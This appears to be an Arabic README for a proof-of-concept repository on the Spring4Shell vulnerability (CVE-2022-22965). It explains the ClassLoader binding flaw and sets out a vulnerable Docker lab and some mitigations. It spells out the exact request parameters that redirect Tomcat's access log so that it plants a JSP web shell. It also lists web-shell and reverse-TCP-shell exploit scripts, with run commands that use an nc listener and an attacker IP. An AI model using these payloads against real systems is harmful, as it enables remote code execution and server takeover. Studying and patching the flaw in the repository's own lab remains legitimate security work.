
الوصف
إخلاء مسؤولية: هذا المستودع مخصّص لأغراض تعليمية وبحثية فقط. يجب استخدام جميع نصوص الاستغلال حصريًا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه المادة.
دراسة وإثبات مفهوم لثغرة CVE-2022-22965، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في إطار عمل Spring، أُفصِح عنها علنًا في أبريل 2022.
تؤثر Spring4Shell على تطبيقات Spring MVC وSpring WebFlux عند استيفاء جميع الشروط التالية:
| الشرط | القيمة |
|---|---|
| إصدار JDK | 9 أو أحدث |
| خادم التطبيقات | Apache Tomcat |
| التغليف | WAR (وليس JAR قابل للتنفيذ) |
| إطار عمل Spring | < 5.3.18 أو < 5.2.20 |
تسمح آلية ربط البيانات في Spring بتعيين معاملات طلبات HTTP إلى خصائص كائنات Java
باستخدام الترميز النقطي (مثل user.name=foo). تنشأ الثغرة لأن هذا
التنقّل غير مُقيَّد بشكل صحيح — يمكن للمهاجم الوصول إلى ClassLoader الخاص بـ JVM عبر
التسلسل الهرمي للفئات لكائن النموذج:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
يصل هذا المسار إلى AccessLogValve الخاص بـ Tomcat، والذي يمكن التلاعب بإعدادات تسجيله في
وقت التشغيل. من خلال تعديل خصائص مثل pattern وdirectory وprefix وsuffix،
يعيد المهاجم توجيه سجل الوصول الخاص بـ Tomcat لكتابة ملف بامتداد .jsp يحتوي
على كود JSP عشوائي — ما يزرع فعليًا قشرة ويب على الخادم.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
| السكربت | الطريقة | الحمولة | ملاحظات |
|---|---|---|---|
exploit1.py | POST | قشرة ويب (محمية بكلمة مرور) | طلب واحد |
exploit2.py | POST | قشرة ويب | يعيد ضبط إعدادات السجل قبل/بعد الاستغلال |
exploit3.py | GET | قشرة ويب (بدون كلمة مرور) | المعاملات عبر سلسلة الاستعلام |
exploit4.py | GET | قشرة TCP عكسية | حمولة JSP مبنية على msfvenom |
exploit4b.py | POST | قشرة TCP عكسية | نفس حمولة exploit4، نسخة POST |
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven أو sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
يكون التطبيق متاحًا عندئذٍ على http://localhost:8082/vulnerable.
WebDataBinder.setDisallowedFields() لمنع ربط classLoaderclass. أو Class. أو module. أو classLoaderالبحث الأصلي وكود الاستغلال بواسطة @march0n. هذا المستودع هو دراسة شخصية للثغرة لأغراض التعلم، مع توثيق وتحليل إضافيين.